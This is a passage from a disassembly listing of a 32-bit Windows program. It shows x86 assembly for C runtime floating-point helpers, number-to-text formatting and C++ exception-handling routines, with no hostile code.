sub_419CEE+41j ; sub_419CEE+4Fj xor eax, eax pop ebp retn sub_419CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419D48(double,int) sub_419D48 proc near ; CODE XREF: sub_41999C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_4217B0 push esi fnstsw ax sahf jnz short loc_419D68 fldz xor esi, esi fstp [ebp+var_8] jmp loc_419DFE ; --------------------------------------------------------------------------- loc_419D68: ; CODE XREF: sub_419D48+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_419DD7 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_419D80 cmp dword ptr [ebp+arg_0], ecx jz short loc_419DD7 loc_419D80: ; CODE XREF: sub_419D48+31j fld [ebp+arg_0] fcomp dbl_4217B0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_419D98 push 1 pop eax jmp short loc_419D9A ; --------------------------------------------------------------------------- loc_419D98: ; CODE XREF: sub_419D48+49j xor eax, eax loc_419D9A: ; CODE XREF: sub_419D48+4Ej ; sub_419D48+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_419DB3 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_419DAD or dword ptr [ebp+arg_0+4], 1 loc_419DAD: ; CODE XREF: sub_419D48+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_419D9A ; --------------------------------------------------------------------------- loc_419DB3: ; CODE XREF: sub_419D48+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_419DC1 or byte ptr [ebp+arg_0+7], 80h loc_419DC1: ; CODE XREF: sub_419D48+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CC5 fstp [ebp+var_8] add esp, 0Ch jmp short loc_419DFE ; --------------------------------------------------------------------------- loc_419DD7: ; CODE XREF: sub_419D48+28j ; sub_419D48+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CC5 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_419DFE: ; CODE XREF: sub_419D48+1Bj ; sub_419D48+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_419D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E09 proc near ; CODE XREF: sub_4196E9+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_419E09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E17 proc near ; CODE XREF: sub_4196E9+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_419E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E26 proc near ; CODE XREF: sub_415E6C+13p ; sub_415E6C+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_419E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E49 proc near ; CODE XREF: sub_41999C+1Dp ; sub_41999C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_419E60 fld tbyte_4380B0 fistp [ebp+arg_0] wait loc_419E60: ; CODE XREF: sub_419E49+Bj test cl, 8 jz short loc_419E75 fstsw ax fld tbyte_4380B0 fstp [ebp+var_8] wait fstsw ax loc_419E75: ; CODE XREF: sub_419E49+1Aj test cl, 10h jz short loc_419E84 fld tbyte_4380BC fstp [ebp+var_8] wait loc_419E84: ; CODE XREF: sub_419E49+2Fj test cl, 4 jz short loc_419E92 fldz fld1 fdivrp st(1), st fstp st wait loc_419E92: ; CODE XREF: sub_419E49+3Ej test cl, 20h jz short locret_419E9D fldpi fstp [ebp+var_8] wait locret_419E9D: ; CODE XREF: sub_419E49+4Cj leave retn sub_419E49 endp ; =============== S U B R O U T I N E ======================================= sub_419E9F proc near ; CODE XREF: sub_415F3B+Fp push 30000h push 10000h call sub_41D84B pop ecx pop ecx retn sub_419E9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EB1 proc near ; CODE XREF: sub_419EEF:loc_419F13j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_4217C0 fstp [ebp+var_8] fld dbl_4217B8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_421670 fnstsw ax sahf jbe short loc_419EEB push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_419EEB: ; CODE XREF: sub_419EB1+33j xor eax, eax leave retn sub_419EB1 endp ; =============== S U B R O U T I N E ======================================= sub_419EEF proc near ; CODE XREF: sub_415F3B+5p push offset aKernel32 ; "KERNEL32" call dword_4210C8 test eax, eax jz short loc_419F13 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4210C4 test eax, eax jz short loc_419F13 push 0 call eax ; sub_415F3B retn ; --------------------------------------------------------------------------- loc_419F13: ; CODE XREF: sub_419EEF+Dj ; sub_419EEF+1Dj jmp sub_419EB1 sub_419EEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F18 proc near ; DATA XREF: sub_415F53+1Eo arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417193 cmp eax, 65h pop ecx jz short loc_419F58 loc_419F2C: ; CODE XREF: sub_419F18+3Ej inc esi cmp dword_437F9C, 1 jle short loc_419F45 movsx eax, byte ptr [esi] push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_419F54 ; --------------------------------------------------------------------------- loc_419F45: ; CODE XREF: sub_419F18+1Cj movsx eax, byte ptr [esi] mov ecx, off_437D90 mov al, [ecx+eax*2] and eax, 4 loc_419F54: ; CODE XREF: sub_419F18+2Bj test eax, eax jnz short loc_419F2C loc_419F58: ; CODE XREF: sub_419F18+12j mov cl, byte_437FA0 mov al, [esi] mov [esi], cl inc esi loc_419F63: ; CODE XREF: sub_419F18+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_419F63 pop esi retn sub_419F18 endp ; --------------------------------------------------------------------------- loc_419F72: ; DATA XREF: sub_415F53+5o mov eax, [esp+4] mov dl, byte_437FA0 mov cl, [eax] test cl, cl jz short loc_419F8E loc_419F82: ; CODE XREF: .nsp0:00419F8Cj cmp cl, dl jz short loc_419F8E mov cl, [eax+1] inc eax test cl, cl jnz short loc_419F82 loc_419F8E: ; CODE XREF: .nsp0:00419F80j ; .nsp0:00419F84j mov cl, [eax] inc eax test cl, cl jz short locret_419FBF loc_419F95: ; CODE XREF: .nsp0:00419FA6j mov cl, [eax] test cl, cl jz short loc_419FA8 cmp cl, 65h jz short loc_419FA8 cmp cl, 45h jz short loc_419FA8 inc eax jmp short loc_419F95 ; --------------------------------------------------------------------------- loc_419FA8: ; CODE XREF: .nsp0:00419F99j ; .nsp0:00419F9Ej ... mov ecx, eax loc_419FAA: ; CODE XREF: .nsp0:00419FAEj dec eax cmp byte ptr [eax], 30h jz short loc_419FAA cmp [eax], dl jnz short loc_419FB5 dec eax loc_419FB5: ; CODE XREF: .nsp0:00419FB2j ; .nsp0:00419FBDj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_419FB5 locret_419FBF: ; CODE XREF: .nsp0:00419F93j retn ; --------------------------------------------------------------------------- loc_419FC0: ; DATA XREF: sub_415F53+28o mov eax, [esp+4] fld qword ptr [eax] fcomp dbl_4217B0 fnstsw ax sahf jb short loc_419FD5 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_419FD5: ; CODE XREF: .nsp0:00419FCFj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD8 proc near ; DATA XREF: sub_415F53+14o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41A001 lea eax, [ebp+var_8] push eax call sub_41DD0E mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41A001: ; CODE XREF: sub_419FD8+Cj lea eax, [ebp+arg_8] push eax call sub_41DD3B mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_419FD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A016 proc near ; CODE XREF: sub_41A293+17p ; sub_41A2DD+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_469520, 0 push ebx push esi jz short loc_41A04B mov ebx, [ebp+arg_8] mov eax, dword_46951C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41A32E pop ecx pop ecx jmp short loc_41A083 ; --------------------------------------------------------------------------- loc_41A04B: ; CODE XREF: sub_41A016+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41DDDF mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41DD68 add esp, 14h loc_41A083: ; CODE XREF: sub_41A016+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41A08F mov byte ptr [eax], 2Dh inc eax loc_41A08F: ; CODE XREF: sub_41A016+73j test ebx, ebx jle short loc_41A0A7 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_437FA0 mov eax, edi pop edi mov [eax], cl loc_41A0A7: ; CODE XREF: sub_41A016+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_469520, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_415C00 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41A0CE mov byte ptr [ecx], 45h loc_41A0CE: ; CODE XREF: sub_41A016+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41A113 mov ebx, [esi+4] dec ebx jns short loc_41A0E2 neg ebx mov byte ptr [ecx], 2Dh loc_41A0E2: ; CODE XREF: sub_41A016+C5j inc ecx cmp ebx, 64h jl short loc_41A0F9 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A0F9: ; CODE XREF: sub_41A016+D0j inc ecx cmp ebx, 0Ah jl short loc_41A110 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41A110: ; CODE XREF: sub_41A016+E7j add [ecx+1], bl loc_41A113: ; CODE XREF: sub_41A016+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41A016 endp ; =============== S U B R O U T I N E ======================================= sub_41A11A proc near ; CODE XREF: sub_41A2BA+13p ; sub_41A2DD+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_469520, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41A155 mov eax, dword_469524 mov ebx, [esp+10h+arg_8] mov esi, dword_46951C cmp eax, ebx jnz short loc_41A185 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41A185 ; --------------------------------------------------------------------------- loc_41A155: ; CODE XREF: sub_41A11A+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41DDDF mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41DD68 add esp, 14h loc_41A185: ; CODE XREF: sub_41A11A+22j ; sub_41A11A+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41A193 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41A193: ; CODE XREF: sub_41A11A+70j mov eax, [esi+4] test eax, eax jg short loc_41A1AA push 1 push edi call sub_41A32E pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41A1AC ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_41A11A+7Ej add edi, eax loc_41A1AC: ; CODE XREF: sub_41A11A+8Ej test ebx, ebx jle short loc_41A1F1 push 1 push edi call sub_41A32E mov al, byte_437FA0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41A1F1 cmp byte_469520, 0 jz short loc_41A1D6 neg esi jmp short loc_41A1DC ; --------------------------------------------------------------------------- loc_41A1D6: ; CODE XREF: sub_41A11A+B6j neg esi cmp ebx, esi jl short loc_41A1DE loc_41A1DC: ; CODE XREF: sub_41A11A+BAj mov ebx, esi loc_41A1DE: ; CODE XREF: sub_41A11A+C0j push ebx push edi call sub_41A32E push ebx push 30h push edi call sub_415570 add esp, 14h loc_41A1F1: ; CODE XREF: sub_41A11A+94j ; sub_41A11A+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41A11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1F8 proc near ; CODE XREF: sub_41A2DD+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41DDDF mov dword_46951C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_469524, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41DD68 mov eax, dword_46951C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_469524, ecx setl cl mov byte_469528, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_469524, eax jl short loc_41A27E cmp eax, ebx jge short loc_41A27E test cl, cl jz short loc_41A26F loc_41A265: ; CODE XREF: sub_41A1F8+72j mov al, [esi] inc esi test al, al jnz short loc_41A265 and [esi-2], al loc_41A26F: ; CODE XREF: sub_41A1F8+6Bj push ebx push [ebp+arg_4] push edi call sub_41A2BA add esp, 0Ch jmp short loc_41A28E ; --------------------------------------------------------------------------- loc_41A27E: ; CODE XREF: sub_41A1F8+63j ; sub_41A1F8+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41A293 add esp, 10h loc_41A28E: ; CODE XREF: sub_41A1F8+84j pop edi pop esi pop ebx pop ebp retn sub_41A1F8 endp ; =============== S U B R O U T I N E ======================================= sub_41A293 proc near ; CODE XREF: sub_41A1F8+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_469520, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A016 and byte_469520, 0 add esp, 10h retn sub_41A293 endp ; =============== S U B R O U T I N E ======================================= sub_41A2BA proc near ; CODE XREF: sub_41A1F8+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_469520, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41A11A and byte_469520, 0 add esp, 0Ch retn sub_41A2BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2DD proc near ; DATA XREF: sub_415F53o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41A318 cmp [ebp+arg_8], 45h jz short loc_41A318 cmp [ebp+arg_8], 66h jnz short loc_41A305 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A11A add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41A305: ; CODE XREF: sub_41A2DD+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A1F8 jmp short loc_41A329 ; --------------------------------------------------------------------------- loc_41A318: ; CODE XREF: sub_41A2DD+7j ; sub_41A2DD+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41A016 loc_41A329: ; CODE XREF: sub_41A2DD+39j add esp, 10h pop ebp retn sub_41A2DD endp ; =============== S U B R O U T I N E ======================================= sub_41A32E proc near ; CODE XREF: sub_41A016+2Cp ; sub_41A11A+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41A351 push esi mov esi, [esp+8+arg_0] push esi call sub_415CF0 inc eax push eax push esi add esi, edi push esi call sub_416490 add esp, 10h pop esi loc_41A351: ; CODE XREF: sub_41A32E+7j pop edi retn sub_41A32E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A353 proc near ; CODE XREF: .nsp0:00416134p ; sub_41619D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41A369 call sub_41ABF2 loc_41A369: ; CODE XREF: sub_41A353+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41A391 cmp dword ptr [esi+4], 0 jz short loc_41A3E7 cmp [ebp+arg_14], 0 jnz short loc_41A3E7 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41A69A add esp, 10h jmp short loc_41A3E7 ; --------------------------------------------------------------------------- loc_41A391: ; CODE XREF: sub_41A353+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41A3E7 cmp dword ptr [eax], 0E06D7363h jnz short loc_41A3CB cmp [eax+14h], edi jbe short loc_41A3CB mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41A3CB movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41A3EA ; --------------------------------------------------------------------------- loc_41A3CB: ; CODE XREF: sub_41A353+4Aj ; sub_41A353+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41A3EE add esp, 20h loc_41A3E7: ; CODE XREF: sub_41A353+23j ; sub_41A353+29j ... push 1 pop eax loc_41A3EA: ; CODE XREF: sub_41A353+76j pop edi pop esi pop ebp retn sub_41A353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3EE proc near ; CODE XREF: sub_41A353+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41A40E mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41A413 loc_41A40E: ; CODE XREF: sub_41A3EE+16j call sub_41ABF2 loc_41A413: ; CODE XREF: sub_41A3EE+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz short loc_41A487 cmp [esi+14h], edi jnz short loc_41A487 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A487 mov esi, dword_46952C test esi, esi jz loc_41A565 mov eax, dword_469530 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41DF66 pop ecx test eax, eax pop ecx jnz short loc_41A469 call sub_41ABF2 loc_41A469: ; CODE XREF: sub_41A3EE+74j cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz short loc_41A487 cmp [esi+14h], edi jnz short loc_41A487 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A487 call sub_41ABF2 loc_41A487: ; CODE XREF: sub_41A3EE+41j ; sub_41A3EE+46j ... cmp [esi], ebx jnz loc_41A56A cmp dword ptr [esi+10h], 3 jnz loc_41A56A cmp [esi+14h], edi jnz loc_41A56A mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162EB add esp, 14h mov ebx, eax loc_41A4BE: ; CODE XREF: sub_41A3EE+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41A555 cmp [ebx], edi jg short loc_41A54A cmp edi, [ebx+4] jg short loc_41A54A mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41A547 loc_41A4E3: ; CODE XREF: sub_41A3EE+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41A514 loc_41A4F5: ; CODE XREF: sub_41A3EE+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41A63D add esp, 0Ch test eax, eax jnz short loc_41A523 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41A4F5 loc_41A514: ; CODE XREF: sub_41A3EE+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41A4E3 jmp short loc_41A547 ; --------------------------------------------------------------------------- loc_41A523: ; CODE XREF: sub_41A3EE+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A74E add esp, 2Ch loc_41A547: ; CODE XREF: sub_41A3EE+F3j ; sub_41A3EE+133j mov edi, [ebp+var_10] loc_41A54A: ; CODE XREF: sub_41A3EE+DEj ; sub_41A3EE+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41A4BE ; --------------------------------------------------------------------------- loc_41A555: ; CODE XREF: sub_41A3EE+D6j cmp [ebp+arg_14], 0 jz short loc_41A565 push 1 push esi call sub_41AAC3 pop ecx pop ecx loc_41A565: ; CODE XREF: sub_41A3EE+56j ; sub_41A3EE+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A56A: ; CODE XREF: sub_41A3EE+37j ; sub_41A3EE+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41A590 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A595 add esp, 20h jmp short loc_41A565 ; --------------------------------------------------------------------------- loc_41A590: ; CODE XREF: sub_41A3EE+180j jmp sub_41AB9C sub_41A3EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A595 proc near ; CODE XREF: sub_41A3EE+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_469534, 0 push esi push edi jz short loc_41A5C6 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4161C2 add esp, 1Ch test eax, eax jnz short loc_41A639 loc_41A5C6: ; CODE XREF: sub_41A595+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4162EB add esp, 14h mov esi, eax loc_41A5E2: ; CODE XREF: sub_41A595+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41A639 cmp edi, [esi] jl short loc_41A631 cmp edi, [esi+4] jg short loc_41A631 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41A60B cmp byte ptr [ecx+8], 0 jnz short loc_41A631 loc_41A60B: ; CODE XREF: sub_41A595+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A74E add esp, 2Ch loc_41A631: ; CODE XREF: sub_41A595+57j ; sub_41A595+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41A5E2 ; --------------------------------------------------------------------------- loc_41A639: ; CODE XREF: sub_41A595+2Fj ; sub_41A595+53j pop edi pop esi leave retn sub_41A595 endp ; =============== S U B R O U T I N E ======================================= sub_41A63D proc near ; CODE XREF: sub_41A3EE+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41A694 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41A694 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41A66E add ecx, 8 push ecx push edx call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_41A690 loc_41A66E: ; CODE XREF: sub_41A63D+1Fj test byte ptr [esi], 2 jz short loc_41A678 test byte ptr [edi], 8 jz short loc_41A690 loc_41A678: ; CODE XREF: sub_41A63D+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41A687 test byte ptr [edi], 1 jz short loc_41A690 loc_41A687: ; CODE XREF: sub_41A63D+43j test al, 2 jz short loc_41A694 test byte ptr [edi], 2 jnz short loc_41A694 loc_41A690: ; CODE XREF: sub_41A63D+2Fj ; sub_41A63D+39j ... xor eax, eax jmp short loc_41A697 ; --------------------------------------------------------------------------- loc_41A694: ; CODE XREF: sub_41A63D+Bj ; sub_41A63D+14j ... push 1 pop eax loc_41A697: ; CODE XREF: sub_41A63D+55j pop edi pop esi retn sub_41A63D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A69A proc near ; CODE XREF: sub_41A353+34p ; sub_41A74E+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4217F8 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41A6CC: ; CODE XREF: sub_41A69A+8Aj cmp esi, [ebp+arg_C] jz short loc_41A726 cmp esi, 0FFFFFFFFh jle short loc_41A6DB cmp esi, [edi+4] jl short loc_41A6E0 loc_41A6DB: ; CODE XREF: sub_41A69A+3Aj call sub_41ABF2 loc_41A6E0: ; CODE XREF: sub_41A69A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41A6FB push 103h push ebx push eax call sub_41AB50 loc_41A6FB: ; CODE XREF: sub_41A69A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A71B ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41A738 pop ecx 